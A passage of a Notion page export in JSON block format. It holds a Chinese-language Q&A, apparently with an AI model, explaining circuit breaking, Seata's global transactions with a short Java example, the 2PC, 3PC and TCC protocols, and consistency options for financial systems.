0dc0680e","parent_table":"block","alive":true}},"43a2f8e0-1635-43be-97be-05f8806b6735":{"value":{"id":"43a2f8e0-1635-43be-97be-05f8806b6735","type":"numbered_list","properties":{"title":[["Gateway和Sentinel在限流熔断中的角色",[["b"]]],[":\nGateway 主要在调用链的入口处进行限流熔断,主要用于流量整形和保护下游服务。而 Sentinel 则可用于微服务内部的每一次服务调用,包括服务间的调用以及与外部系统的交互。"]]},"created_time":1712567247944,"last_edited_time":1712567247947,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"b733b4d6-6546-4f92-94c2-495c28098053":{"value":{"id":"b733b4d6-6546-4f92-94c2-495c28098053","type":"numbered_list","properties":{"title":[["Feign的降级策略",[["b"]]],[":\n是的,你在 Feign 里面配置的降级策略是用于配合熔断的。当服务调用失败或超时时,熔断器会跳闸,调用方会执行降级策略,而不再等待服务的响应。这样可以快速响应用户,避免服务长时间阻塞。"]]},"created_time":1712567247944,"last_edited_time":1712567247947,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e2c9ce68-f03b-411a-9bd2-9ead8a71f125":{"value":{"id":"e2c9ce68-f03b-411a-9bd2-9ead8a71f125","type":"numbered_list","properties":{"title":[["熔断的意义",[["b"]]],[":\n熔断的目的不仅仅是为了响应服务挂掉的情况。更重要的是,当服务出现延迟或者错误率上升时,通过"],["熔断机制,可以防止这种情况继续恶化",[["b"]]],[",形成雪崩效应。简单来说,熔断器的作用就像是电路中的保险丝,当检测到过多的服务调用失败,熔断器会跳闸,阻止进一步的服务调用,从而保护整个系统的稳定性。"]]},"content":["c5ee8965-8e16-4251-9c5d-c7536ffa7be2"],"created_time":1712567247944,"last_edited_time":1712592742984,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"718a42a7-4cea-4cde-8301-8cb5e90102fa":{"value":{"id":"718a42a7-4cea-4cde-8301-8cb5e90102fa","type":"divider","created_time":1712567700779,"last_edited_time":1712567700781,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"45417877-fae7-4b1a-a5ba-50d952910861":{"value":{"id":"45417877-fae7-4b1a-a5ba-50d952910861","type":"text","created_time":1712567702944,"last_edited_time":1712567702944,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e416bcdd-6b48-4318-a3a5-562b1358d5a7":{"value":{"id":"e416bcdd-6b48-4318-a3a5-562b1358d5a7","type":"quote","properties":{"title":[["你说seata是简单、易扩展、自治的事务解决方案。说出理由,自治是什么意思。再给我一个java代码的例子"]]},"created_time":1712567710221,"last_edited_time":1712567712988,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9f825b51-974d-4a57-b489-d88f03c7a43a":{"value":{"id":"9f825b51-974d-4a57-b489-d88f03c7a43a","type":"text","properties":{"title":[["Seata的特性",[["b"]]],[":"]]},"created_time":1712567724960,"last_edited_time":1712567724964,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e6b65893-e042-416e-8cdf-b6fed61e9a45":{"value":{"id":"e6b65893-e042-416e-8cdf-b6fed61e9a45","type":"bulleted_list","properties":{"title":[["简单",[["b"]]],[":Seata提供了简单易用的API和注解,使得开发者可以很容易地在业务代码中使用Seata来进行分布式事务控制。同时,Seata支持Spring Cloud、Dubbo和Motan等多种微服务框架。"]]},"created_time":1712567724961,"last_edited_time":1712567724964,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6d3bc565-c3ca-4f60-840f-5c3eba79e119":{"value":{"id":"6d3bc565-c3ca-4f60-840f-5c3eba79e119","type":"bulleted_list","properties":{"title":[["易扩展",[["b"]]],[":Seata采用模块化的设计,使得各个模块可以单独升级和扩展,而且Seata提供了丰富的SPI扩展点,开发者可以通过实现SPI接口来定制自己的扩展模块。"]]},"created_time":1712567724961,"last_edited_time":1712567724964,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"117b0e27-b2d7-4315-968a-094fee850a1f":{"value":{"id":"117b0e27-b2d7-4315-968a-094fee850a1f","type":"bulleted_list","properties":{"title":[["自治",[["b"]]],[":在Seata中,每个服务参与者都能够自主决定其本地事务的提交或回滚,而全局事务的提交或回滚则由全局事务协调者来决定。这种模式下,服务参与者只需要关注自身的业务逻辑,而不需要关注其他服务参与者的状态和行为,从而实现了自治。"]]},"created_time":1712567724961,"last_edited_time":1712567724964,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"79b0ecb1-5769-4e5b-8847-2c641a7b377f":{"value":{"id":"79b0ecb1-5769-4e5b-8847-2c641a7b377f","type":"text","properties":{"title":[["Seata的Java代码示例",[["b"]]],[":"]]},"created_time":1712567724961,"last_edited_time":1712567724964,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1d3127c9-2a09-4f0a-845f-b3eaf9b12bd9":{"value":{"id":"1d3127c9-2a09-4f0a-845f-b3eaf9b12bd9","type":"code","properties":{"title":[["// 引入Seata的全局事务注解\nimport io.seata.spring.annotation.GlobalTransactional;\n\n@Service\npublic class BusinessService {\n\n @Autowired\n private OrderService orderService;\n\n @Autowired\n private StorageService storageService;\n\n @Autowired\n private AccountService accountService;\n\n /**\n * 减库存,下订单,扣余额,全局事务控制\n */\n @GlobalTransactional // 开启全局事务\n public void purchase(String userId, String commodityCode, int orderCount) {\n // 扣减库存\n storageService.deduct(commodityCode, orderCount);\n\n // 创建订单\n orderService.create(userId, commodityCode, orderCount);\n\n // 扣减账户余额\n int orderMoney = calculate(commodityCode, orderCount);\n accountService.debit(userId, orderMoney);\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712567724961,"last_edited_time":1712567724964,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"8a5d4af5-a99b-4f40-af9e-76684d38765e":{"value":{"id":"8a5d4af5-a99b-4f40-af9e-76684d38765e","type":"text","properties":{"title":[["在以上代码中,"],["@GlobalTransactional",[["c"]]],["注解表示该方法需要进行全局事务控制。当方法执行时,Seata会自动开启一个全局事务,这个全局事务会包含所有的本地事务。如果所有的本地事务都执行成功,那么Seata会提交全局事务,否则Seata会回滚全局事务,从而保证所有本地事务的一致性。"]]},"created_time":1712567724961,"last_edited_time":1712567724964,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"dc52d713-7845-495e-85fe-fb0feb9c67b7":{"value":{"id":"dc52d713-7845-495e-85fe-fb0feb9c67b7","type":"divider","created_time":1712596089872,"last_edited_time":1712596089873,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3b53d0e0-8126-4164-b655-8c45bd2984f9":{"value":{"id":"3b53d0e0-8126-4164-b655-8c45bd2984f9","type":"text","created_time":1712596089895,"last_edited_time":1712596089895,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c8d1cb6f-2905-4968-a04b-afbe302affc7":{"value":{"id":"c8d1cb6f-2905-4968-a04b-afbe302affc7","type":"quote","properties":{"title":[["我无法理解自治这个概念,在我思想中,全局事务就该是这样的,本地事务只管自己,全局协调者发现任何1个事务失败就马上会滚,全部成功才成功。还有其他分布式事务解决方案不是这样的吗"]]},"created_time":1712567994615,"last_edited_time":1712567999897,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"73e4bd9d-053b-4dc6-bebd-73a95113dbc4":{"value":{"id":"73e4bd9d-053b-4dc6-bebd-73a95113dbc4","type":"text","properties":{"title":[["你理解的没有错,\"自治\"在这个上下文中的确是指的服务参与者(或者说是本地事务参与者)只需要关注自己的业务逻辑,而不需要关注其他服务参与者的状态和行为。这是大部分分布式事务解决方案的基本思路,包括两阶段提交(2PC)、三阶段提交(3PC)、TCC(Try-Confirm-Cancel)等。"]]},"created_time":1712568006302,"last_edited_time":1712568006305,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"4d8d2022-d8b4-4815-92f4-e15848a1d846":{"value":{"id":"4d8d2022-d8b4-4815-92f4-e15848a1d846","type":"text","properties":{"title":[["\"自治\"这个词在这里更多的是强调的一种设计理念,即服务的自治性,服务应该尽可能地去除对外部的依赖,使得"],["每个服务都能够独立完成自己的任务",[["b"]]],[",这样可以提高服务的可用性和可维护性。"]]},"created_time":1712568006302,"last_edited_time":1712568166965,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"8b93f5f7-7123-405d-8dab-ecb7c31e6e31":{"value":{"id":"8b93f5f7-7123-405d-8dab-ecb7c31e6e31","type":"text","properties":{"title":[["至于其他的分布式事务解决方案,确实也是类似的思路,但在具体的实现上可能会有所不同。例如,2PC和3PC虽然都是基于协调者和参与者的模式,但在事务提交过程中的具体协议是不同的;TCC则是通过业务逻辑来确保事务的最终一致性,与2PC和3PC的预提交机制有所不同。"]]},"created_time":1712568006302,"last_edited_time":1712568006305,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"f5bfcd3d-0e72-426f-aab1-16a1b9e2a999":{"value":{"id":"f5bfcd3d-0e72-426f-aab1-16a1b9e2a999","type":"text","properties":{"title":[["这也是为什么Seata会强调自己的\"自治\"特性,因为在Seata的设计中,服务参与者不仅仅是事务的执行者,还需承担回滚日志的记录和存储,这样可以在出现问题时由本地事务参与者自己完成事务的回滚,而不需要依赖于全局事务协调者或者其他服务。"]]},"created_time":1712568006302,"last_edited_time":1712568006305,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"fb1ccdf2-c4a8-4532-8278-9fd4163a97c2":{"value":{"id":"fb1ccdf2-c4a8-4532-8278-9fd4163a97c2","type":"divider","created_time":1712568034467,"last_edited_time":1712568034468,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"24dfb7b3-a799-4e55-aae4-9023737ebe80":{"value":{"id":"24dfb7b3-a799-4e55-aae4-9023737ebe80","type":"text","created_time":1712568131980,"last_edited_time":1712568131980,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"25110e28-f012-4a67-b11d-c2dd4575be29":{"value":{"id":"25110e28-f012-4a67-b11d-c2dd4575be29","type":"quote","properties":{"title":[["给我讲解下2PC,3PC,TCC,并给我代码例子"]]},"created_time":1712568133457,"last_edited_time":1712568142181,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6934f9ce-191d-4ce5-942a-77a127fec3be":{"value":{"id":"6934f9ce-191d-4ce5-942a-77a127fec3be","type":"text","properties":{"title":[["2PC(Two-Phase Commit)",[["b"]]]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c5ee8965-8e16-4251-9c5d-c7536ffa7be2":{"value":{"id":"c5ee8965-8e16-4251-9c5d-c7536ffa7be2","type":"text","properties":{"title":[["熔断之后,服务可能会自我恢复,或者通过人工干预恢复。在这个过程中,熔断器可以通过“半开”状态,尝试放行部分服务调用,如果这些调用成功,那么熔断器会自动闭合,恢复服务调用。这样,既可以快速响应服务问题,又可以保护系统的稳定性,避免因为一个服务的问题影响到整个系统。"]]},"created_time":1712567247944,"last_edited_time":1712567247947,"parent_id":"e2c9ce68-f03b-411a-9bd2-9ead8a71f125","parent_table":"block","alive":true}},"2b403179-1a6a-4aac-aa17-2b66a613eb81":{"value":{"id":"2b403179-1a6a-4aac-aa17-2b66a613eb81","type":"text","properties":{"title":[["2PC是一种强一致性的分布式事务协议,它分为两个阶段:预提交阶段和提交阶段。"]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"dd7e9e63-9d72-4921-a188-09dcb450ed72":{"value":{"id":"dd7e9e63-9d72-4921-a188-09dcb450ed72","type":"bulleted_list","properties":{"title":[["预提交阶段:协调者向所有参与者发送事务内容,询问是否可以提交事务,并开始等待所有参与者的响应。"]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"52fee632-7f3b-4822-8869-3d4d9efeaf4f":{"value":{"id":"52fee632-7f3b-4822-8869-3d4d9efeaf4f","type":"bulleted_list","properties":{"title":[["提交阶段:如果协调者收到所有参与者都同意提交事务的消息,那么就向所有参与者发送提交事务的请求,事务被正式提交。"]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2ee590ab-3c01-4921-849c-1df256e6b694":{"value":{"id":"2ee590ab-3c01-4921-849c-1df256e6b694","type":"text","properties":{"title":[["2PC协议的主要问题是同步阻塞问题和单点问题。如果有任何一个节点在第二阶段未返回确认信息,那么协调者会一直阻塞等待。如果协调者在第二阶段崩溃,那么所有参与者会一直阻塞等待。"]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ad8bd99e-80cf-4d5b-8510-bafd1ed7ec2e":{"value":{"id":"ad8bd99e-80cf-4d5b-8510-bafd1ed7ec2e","type":"text","properties":{"title":[["3PC(Three-Phase Commit)",[["b"]]]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"41be8556-7f91-437a-ab77-b9e776129c21":{"value":{"id":"41be8556-7f91-437a-ab77-b9e776129c21","type":"text","properties":{"title":[["3PC是在2PC的基础上进行改进的协议,它增加了超时机制和可查询状态,分为CanCommit、PreCommit、doCommit三个阶段。"]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3fe8d752-1a3d-4442-82bc-75f3806f198b":{"value":{"id":"3fe8d752-1a3d-4442-82bc-75f3806f198b","type":"bulleted_list","properties":{"title":[["CanCommit阶段:事务询问阶段,协调者向所有参与者发送CanCommit请求,询问是否可以执行事务提交操作。"]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"f9b1b730-e6c6-49ac-ba8d-24bf02e45a47":{"value":{"id":"f9b1b730-e6c6-49ac-ba8d-24bf02e45a47","type":"bulleted_list","properties":{"title":[["PreCommit阶段:事务预提交阶段,协调者向所有参与者发送PreCommit请求,开始执行事务操作。"]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e8f8a167-7c4d-4588-8b83-0ab7d1048e59":{"value":{"id":"e8f8a167-7c4d-4588-8b83-0ab7d1048e59","type":"bulleted_list","properties":{"title":[["doCommit阶段:事务正式提交阶段,协调者向所有参与者发送doCommit请求,完成事务提交。"]]},"created_time":1712568146530,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"27274856-82e7-4b78-9bdc-8d8ed30625dd":{"value":{"id":"27274856-82e7-4b78-9bdc-8d8ed30625dd","type":"text","properties":{"title":[["3PC协议解决了2PC的同步阻塞问题,但是在网络分区的情况下,仍可能导致数据不一致。"]]},"created_time":1712568146531,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6ecc4296-2619-4578-8e40-609a814d0de7":{"value":{"id":"6ecc4296-2619-4578-8e40-609a814d0de7","type":"text","properties":{"title":[["TCC(Try-Confirm-Cancel)",[["b"]]]]},"created_time":1712568146531,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a4084185-870f-42c7-8e6c-8c9e4b87a671":{"value":{"id":"a4084185-870f-42c7-8e6c-8c9e4b87a671","type":"text","properties":{"title":[["TCC是一种基于业务逻辑的分布式事务协议,它分为Try、Confirm和Cancel三个阶段。"]]},"created_time":1712568146531,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"64669192-a93a-44d3-b393-29c22c1d3fdc":{"value":{"id":"64669192-a93a-44d3-b393-29c22c1d3fdc","type":"bulleted_list","properties":{"title":[["Try阶段:尝试执行业务,写预备日志。"]]},"created_time":1712568146531,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2a403baf-e553-4fc7-b3b9-1d7dde765b61":{"value":{"id":"2a403baf-e553-4fc7-b3b9-1d7dde765b61","type":"bulleted_list","properties":{"title":[["Confirm阶段:确认执行业务,根据预备日志完成业务操作。"]]},"created_time":1712568146531,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a286ebf3-c50c-4358-ae51-2a2a2a16643b":{"value":{"id":"a286ebf3-c50c-4358-ae51-2a2a2a16643b","type":"bulleted_list","properties":{"title":[["Cancel阶段:取消执行业务,根据预备日志撤销在Try阶段执行的业务操作。"]]},"created_time":1712568146531,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3f918c65-f4c0-480e-9126-9d0fd0b40262":{"value":{"id":"3f918c65-f4c0-480e-9126-9d0fd0b40262","type":"text","properties":{"title":[["TCC协议适合于业务逻辑强一致性要求不高,但需要长时间运行的场景。"]]},"created_time":1712568146531,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"80f1c4e4-2fba-4806-8df2-5f694e924e00":{"value":{"id":"80f1c4e4-2fba-4806-8df2-5f694e924e00","type":"text","properties":{"title":[["由于这三种协议都涉及到分布式系统的底层通信和协调机制,因此在实际的Java代码中不容易直接实现。在实际应用中,我们通常会使用像Seata这样的分布式事务中间件来处理分布式事务,这些中间件内部已经实现了相应的协议。"]]},"created_time":1712568146531,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"52016cbd-b135-4472-942b-3b6a8521ff95":{"value":{"id":"52016cbd-b135-4472-942b-3b6a8521ff95","type":"text","properties":{"title":[["例如,Seata的AT模式就是基于2PC协议的,而TCC模式则是基于TCC协议的。在Seata中使用AT或者TCC模式,只需要在业务方法上加上"],["@GlobalTransactional",[["c"]]],["注解即可,Seata会自动进行分布式事务的协调和控制,开发者只需要关注业务逻辑。"]]},"created_time":1712568146531,"last_edited_time":1712568146540,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a8ca918b-81d6-45da-a1e2-38b200536f30":{"value":{"id":"a8ca918b-81d6-45da-a1e2-38b200536f30","type":"divider","created_time":1712569246261,"last_edited_time":1712569246263,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3a47ceb0-d923-4bbd-af65-702f1dc0f219":{"value":{"id":"3a47ceb0-d923-4bbd-af65-702f1dc0f219","type":"text","created_time":1712569246893,"last_edited_time":1712569246893,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6cf4cf2d-c501-43fa-acce-dbee44be5429":{"value":{"id":"6cf4cf2d-c501-43fa-acce-dbee44be5429","type":"quote","properties":{"title":[["协调者只是告知是否可以提交,参与者才是真正提交事务的。2PC加一个超时机制不就完了吗,为啥要引入3PC?2PC的预提交阶段是在事务执行后最后commit的时候才去问协调者,3PC的CanCommit也是啊。后面PreCommit开始执行事务是什么意思?为什么3PC可以解决同步阻塞的问题,所有事务不都等着提交吗。还有为啥会数据不一致?"]]},"created_time":1712569248186,"last_edited_time":1712569252619,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c69da88b-94f9-4294-9057-278e67df3198":{"value":{"id":"c69da88b-94f9-4294-9057-278e67df3198","type":"text","properties":{"title":[["2PC和3PC之间的区别确实可以看作是对超时机制的不同处理。但是,需要注意的是,单纯的超时机制可能无法满足所有场景。比如,在2PC中,一旦"],["协调者宕机",[["b"]]],[",参与者在没有收到协调者的最终决定之前,会一直处于等待状态,这就导致了阻塞。即使设置了超时,参与者也无法决定究竟是提交还是回滚事务,因为它们无法确定协调者的最终决定。"]]},"created_time":1712569267899,"last_edited_time":1712569325180,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"787be75f-ddd4-4011-ab2d-0dbd140a8792":{"value":{"id":"787be75f-ddd4-4011-ab2d-0dbd140a8792","type":"text","properties":{"title":[["为了解决这个问题,3PC引入了第三个阶段。在CanCommit阶段,协调者询问参与者是否可以提交,参与者回复Yes或No后,会进入等待状态。此时参与者已经准备好提交,但并未真正提交。然后在PreCommit阶段,协调者会发出预提交请求,参与者收到请求后会执行事务操作并将状态切换为PreCommit,然后回复ACK。在最后的doCommit阶段,一旦协调者收到所有参与者的ACK,就会发出正式提交,所有参与者在收到doCommit请求后,才会正式提交事务。"]]},"created_time":1712569267899,"last_edited_time":1712569267903,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"4a3bb805-8893-49f5-86a9-df810fdd5d4c":{"value":{"id":"4a3bb805-8893-49f5-86a9-df810fdd5d4c","type":"text","properties":{"title":[["这个设计的好处是,参与者在等待协调者的doCommit请求时,如果超时了,那么可以直接提交事务,而不用一直阻塞等待。因为如果参与者已经收到了PreCommit请求,那么说明协调者已经决定要提交事务(因为协调者在发出PreCommit请求之前,已经收到了所有参与者的Yes响应)。所以即使后续协调者宕机了,参与者也可以自己做出决定,不会一直阻塞。这也是3PC能够解决2PC同步阻塞问题的原因。"]]},"created_time":1712569267899,"last_edited_time":1712569267903,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9c919695-0e1a-48ba-930d-ce3ba56d25e8":{"value":{"id":"9c919695-0e1a-48ba-930d-ce3ba56d25e8","type":"text","properties":{"title":[["至于可能导致数据不一致的问题,主要是因为在某些情况下,如网络分区,协调者和部分参与者可能无法通信。假设在PreCommit阶段,协调者发出了PreCommit请求,但只有部分参与者收到了这个请求并回复了ACK,而其他由于网络问题未收到请求的参与者可能仍处于初始状态。这时,如果协调者和收到PreCommit的参与者之间的网络恢复了,协调者可能会以为所有参与者都已经准备好提交,从而发出doCommit请求,导致只有部分参与者提交了事务,造成数据不一致。"]]},"created_time":1712569267899,"last_edited_time":1712569267903,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"61707885-7623-4de5-83e5-9138401f14c3":{"value":{"id":"61707885-7623-4de5-83e5-9138401f14c3","type":"text","created_time":1712591801616,"last_edited_time":1712591801616,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"327e92ea-2f1d-4a43-a8fd-e92c1e658647":{"value":{"id":"327e92ea-2f1d-4a43-a8fd-e92c1e658647","type":"quote","properties":{"title":[["2PC会有一直阻塞等待的风险,3PC有数据不一致的缺点,TCC你也说会导致数据不一致。那在金融系统要求强一致性的服务该怎么办呢"]]},"created_time":1712591803472,"last_edited_time":1712591808119,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"00b1ae27-2fd7-4cd2-bd13-cefc2f64e17b":{"value":{"id":"00b1ae27-2fd7-4cd2-bd13-cefc2f64e17b","type":"text","properties":{"title":[["对于金融系统这种强一致性要求非常高的场景,通常会采取其他的一些技术手段和架构设计来解决分布式事务问题。"]]},"created_time":1712591838655,"last_edited_time":1712591838659,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a1ea2fc0-a045-43b8-9ac8-587e0ff7e616":{"value":{"id":"a1ea2fc0-a045-43b8-9ac8-587e0ff7e616","type":"numbered_list","properties":{"title":[["单体架构/垂直划分",[["b"]]],[":在一些非常关键的业务场景,如支付、转账等,可能会采用单体架构或者进行垂直的业务划分,将整个业务流程放在一个服务或者一个数据库中,这样就可以使用传统的ACID事务来保证一致性。"]]},"created_time":1712591838655,"last_edited_time":1712591838659,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1a9f9684-b654-4cb7-823d-1e226f399d79":{"value":{"id":"1a9f9684-b654-4cb7-823d-1e226f399d79","type":"numbered_list","properties":{"title":[["最终一致性",[["b"]]],[":在一些不需要即时强一致性的场景,可以采用最终一致性的方式,通过消息队列、补偿事务等方式,在一定时间范围内达到数据一致性。例如,银行的"],["对账系统",[["b"]]],["就是一个典型的最终一致性应用。"]]},"created_time":1712591838656,"last_edited_time":1712591866418,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"63276715-3dc1-4e19-be44-996b52e7695c":{"value":{"id":"63276715-3dc1-4e19-be44-996b52e7695c","type":"numbered_list","properties":{"title":[["分布式锁/悲观锁",[["b"]]],[":在并发量不是特别高,对性能要求不是特别高的场景,可以使用分布式锁或者悲观锁来保证一致性。但是这种方式可能会影响系统的性能和可用性。"]]},"created_time":1712591838656,"last_edited_time":1712591838659,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0ad28190-328c-447b-9107-64bc7fcbdb2d":{"value":{"id":"0ad28190-328c-447b-9107-64bc7fcbdb2d","type":"numbered_list","properties":{"title":[["Saga模式",[["b"]]],[":Saga模式是一种长事务的解决方案,它将一个长事务拆分为多个本地事务,并通过事件驱动的方式来协调这些本地事务。如果某个本地事务失败,Saga会执行相应的补偿事务来保证数据的一致性。"]]},"created_time":1712591838656,"last_edited_time":1712591838659,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3974a1bb-cf31-4f1e-b631-3a0fb934ceff":{"value":{"id":"3974a1bb-cf31-4f1e-b631-3a0fb934ceff","type":"text","properties":{"title":[["需要注意的是,不同的业务场景需要选择不同的方案,没有一种方案可以解决所有的问题,需要根据具体的业务需求和系统条件来选择最合适的方案。"]]},"created_time":1712591838656,"last_edited_time":1712591838659,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1b4b8568-8c76-4faf-a1d6-8fa8a938dd97":{"value":{"id":"1b4b8568-8c76-4faf-a1d6-8fa8a938dd97","type":"divider","created_time":1712591927463,"last_edited_time":1712591927464,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"4c84eb93-a6b3-42ba-822c-a2dc9186b6c2":{"value":{"id":"4c84eb93-a6b3-42ba-822c-a2dc9186b6c2","type":"text","created_time":1712591927490,"last_edited_time":1712591929968,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3f5df400-5167-4203-91d8-33e2722ccbfc":{"value":{"id":"3f5df400-5167-4203-91d8-33e2722ccbfc","type":"quote","properties":{"title":[["现在2PC和3PC我大概懂了,TCC模式我还是不明白"]]},"created_time":1712591933293,"last_edited_time":1712592177042,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"5b6c6b03-0801-4ddc-a359-217438f11ef1":{"value":{"id":"5b6c6b03-0801-4ddc-a359-217438f11ef1","type":"text","properties":{"title":[["TCC (Try-Confirm-Cancel) 是一种两阶段型的补偿型事务模式,它主要用于处理分布式系统中的业务逻辑,以保证分布式事务在各个服务间的一致性。"]]},"created_time":1712592149246,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2069a0e2-4075-4f93-9884-9827ffc4efd4":{"value":{"id":"2069a0e2-4075-4f93-9884-9827ffc4efd4","type":"text","properties":{"title":[["TCC的每个阶段解释如下:"]]},"created_time":1712592149246,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"37a34f20-526e-4e14-aa46-54bd9f9a5dec":{"value":{"id":"37a34f20-526e-4e14-aa46-54bd9f9a5dec","type":"bulleted_list","properties":{"title":[["Try 阶段:尝试执行业务,执行所有业务检查,以及预留必要的业务资源。"]]},"created_time":1712592149246,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"751971aa-d8b2-4988-8b97-71b0e053c4ac":{"value":{"id":"751971aa-d8b2-4988-8b97-71b0e053c4ac","type":"bulleted_list","properties":{"title":[["Confirm 